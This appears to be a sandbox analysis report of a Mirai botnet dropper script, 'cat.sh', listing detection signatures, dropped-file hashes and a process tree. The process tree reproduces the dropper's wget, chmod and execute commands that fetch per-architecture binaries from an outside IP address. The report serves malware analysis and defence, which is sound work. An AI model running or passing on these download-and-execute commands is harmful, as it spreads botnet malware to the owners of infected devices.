Overview

overview

10

Static

static

1

cat.sh

ubuntu-18.04-amd64

10

cat.sh

debian-9-armhf

10

cat.sh

debian-9-mips

10

cat.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    137s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    25/05/2026, 22:25

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    cat.sh
  • Size 1KB
  • Sample260525-2b1x6sa16w
  • SHA256 b4537262f18d9b0b667aced73206f5699a0e3d197ba5ed6a165cb56708532f4e
  • MD5 SHA1 SHA512 TLSH
Score
10/10
botnetmiraidefense_evasiondiscoverymiraiupx

Malware Config

Extracted

Family

  • mirai

Botnet

  • MIRAI

Extracted

Family

  • mirai

Botnet

  • MIRAI

Extracted

Family

  • mirai

Botnet

  • MIRAI

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 11 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • UPX packed file 8 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/cat.sh
    /tmp/cat.sh
    1⤵
    • Executes dropped EXE
    PID:714
    • /bin/uname
      uname -m
      2⤵
        PID:719
      • /usr/bin/wget
        wget -q http://64.89.161.130/bins/mips -O mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:722
      • /bin/chmod
        chmod 755 mips
        2⤵
        • File and Directory Permissions Modification
        PID:733
      • /tmp/mips
        ./mips
        2⤵
        • Deletes itself
        • Modifies Watchdog functionality
        • Changes its process name
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to shm directory
        PID:734
      • /bin/sleep
        sleep 2
        2⤵
          PID:735
        • /usr/bin/wget
          wget -q http://64.89.161.130/bins/armv5l -O armv5l
          2⤵
          • Writes file to tmp directory
          PID:747
        • /bin/chmod
          chmod 755 armv5l
          2⤵
          • File and Directory Permissions Modification
          PID:750
        • /bin/sleep
          sleep 1
          2⤵
            PID:752
          • /tmp/armv5l
            ./armv5l
            2⤵
              PID:751
            • /usr/bin/wget
              wget -q http://64.89.161.130/bins/armv6l -O armv6l
              2⤵
              • Writes file to tmp directory
              PID:757
            • /bin/chmod
              chmod 755 armv6l
              2⤵
              • File and Directory Permissions Modification
              PID:758
            • /bin/sleep
              sleep 1
              2⤵
                PID:760
              • /tmp/armv6l
                ./armv6l
                2⤵
                  PID:759
                • /usr/bin/wget
                  wget -q http://64.89.161.130/bins/armv7l -O armv7l
                  2⤵
                  • Writes file to tmp directory
                  PID:764
                • /bin/chmod
                  chmod 755 armv7l
                  2⤵
                  • File and Directory Permissions Modification
                  PID:768
                • /bin/sleep
                  sleep 1
                  2⤵
                    PID:770
                  • /tmp/armv7l
                    ./armv7l
                    2⤵
                      PID:769
                    • /usr/bin/wget
                      wget -q http://64.89.161.130/bins/arm -O arm
                      2⤵
                      • Writes file to tmp directory
                      PID:780
                    • /bin/chmod
                      chmod 755 arm
                      2⤵
                      • File and Directory Permissions Modification
                      PID:786
                    • /bin/sleep
                      sleep 1
                      2⤵
                        PID:788
                      • /tmp/arm
                        ./arm
                        2⤵
                          PID:787
                        • /usr/bin/wget
                          wget -q http://64.89.161.130/bins/m68k -O m68k
                          2⤵
                          • Writes file to tmp directory
                          PID:806
                        • /bin/chmod
                          chmod 755 m68k
                          2⤵
                          • File and Directory Permissions Modification
                          PID:810
                        • /bin/sleep
                          sleep 1
                          2⤵
                            PID:813
                          • /tmp/m68k
                            ./m68k
                            2⤵
                              PID:812
                            • /usr/bin/wget
                              wget -q http://64.89.161.130/bins/mpsl -O mpsl
                              2⤵
                              • Writes file to tmp directory
                              PID:831
                            • /bin/chmod
                              chmod 755 mpsl
                              2⤵
                              • File and Directory Permissions Modification
                              PID:837
                            • /bin/sleep
                              sleep 1
                              2⤵
                                PID:840
                              • /tmp/mpsl
                                ./mpsl
                                2⤵
                                  PID:839
                                • /usr/bin/wget
                                  wget -q http://64.89.161.130/bins/ppc -O ppc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:848
                                • /bin/chmod
                                  chmod 755 ppc
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:849
                                • /bin/sleep
                                  sleep 1
                                  2⤵
                                    PID:852
                                  • /tmp/ppc
                                    ./ppc
                                    2⤵
                                      PID:851
                                    • /usr/bin/wget
                                      wget -q http://64.89.161.130/bins/sh4 -O sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:858
                                    • /bin/chmod
                                      chmod 755 sh4
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:861
                                    • /bin/sleep
                                      sleep 1
                                      2⤵
                                        PID:863
                                      • /tmp/sh4
                                        ./sh4
                                        2⤵
                                          PID:862
                                        • /usr/bin/wget
                                          wget -q http://64.89.161.130/bins/spc -O spc
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:868
                                        • /bin/chmod
                                          chmod 755 spc
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:869
                                        • /bin/sleep
                                          sleep 1
                                          2⤵
                                            PID:873
                                          • /tmp/spc
                                            ./spc
                                            2⤵
                                              PID:872
                                            • /usr/bin/wget
                                              wget -q http://64.89.161.130/bins/x86_64 -O x86_64
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:878
                                            • /bin/chmod
                                              chmod 755 x86_64
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:879
                                            • /bin/sleep
                                              sleep 1
                                              2⤵
                                                PID:881
                                              • /tmp/x86_64
                                                ./x86_64
                                                2⤵
                                                  PID:880

                                              Network

                                                    MITRE ATT&CK Enterprise v16

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    .comm
                                                    • Path /dev/shm/.comm
                                                    • Size 4B
                                                    • SHA256 42751d2ee956ba67daf5fac120267950b5232ccc9f7561b26763f35b0a42440c
                                                    • MD5 SHA1 SHA512
                                                    Submit Download

                                                    arm
                                                    • Path /tmp/arm
                                                    • Size 34KB
                                                    • SHA256 22815bb629f201e64f7cd18db7a6e4f4824abc8da2f958d713f47a2ff177886d
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                    Submit Download

                                                    armv5l
                                                    • Path /tmp/armv5l
                                                    • Size 33KB
                                                    • SHA256 431e983730ee960aebb586042fb1d2ba46b131f413a90911c9d4b516af5c1ac3
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                    Submit Download

                                                    armv6l
                                                    • Path /tmp/armv6l
                                                    • Size 37KB
                                                    • SHA256 c79e97ba21d45cc66625fbd0654d7fce5fffc8dc35bf31c42a8bc962ec816659
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                    Submit Download

                                                    armv7l
                                                    • Path /tmp/armv7l
                                                    • Size 58KB
                                                    • SHA256 7d866c3b02fd3a8f3f270c3a53c625fa980e6e3db6093acc5d564d5549dcdc16
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                    Submit Download

                                                    m68k
                                                    • Path /tmp/m68k
                                                    • Size 79KB
                                                    • SHA256 fb124879e651fce06de0adf8ee7f62046bdf0e50e7a288c7e6956f09dfd7c08e
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                    Submit Download

                                                    mips
                                                    • Path /tmp/mips
                                                    • Size 36KB
                                                    • SHA256 8c20a9fd18836f0cba2bb1e6552b179d2038cbe3fa3023b3f250800565368a21
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                    Submit Download

                                                    mpsl
                                                    • Path /tmp/mpsl
                                                    • Size 37KB
                                                    • SHA256 85201b221ceb454802192829933560ee26a82aaa7bcc03cbe4f355bcdd44ddda
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                    Submit Download

                                                    ppc
                                                    • Path /tmp/ppc
                                                    • Size 33KB
                                                    • SHA256 03530317daf063147818fbc620998b63efb93d25824745a1e53a2684a66993cf
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                    Submit Download

                                                    sh4
                                                    • Path /tmp/sh4
                                                    • Size 62KB
                                                    • SHA256 733a3044ec0d4dd976958c38ea9c4536994eb170c399e4456bd5cd091452f415
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                    Submit Download

                                                    spc
                                                    • Path /tmp/spc
                                                    • Size 76KB
                                                    • SHA256 3d27b7f26735535c0ba1e456ce4bd3e7db8eb52ab5e68c7b3bcb2c6b0ec3b7e5
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                    Submit Download

                                                    x86_64
                                                    • Path /tmp/x86_64
                                                    • Size 33KB
                                                    • SHA256 1face8fa47baaa28eb4c70ffa3700df23c5e21a140949da4984778ca197b3893
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                    Submit Download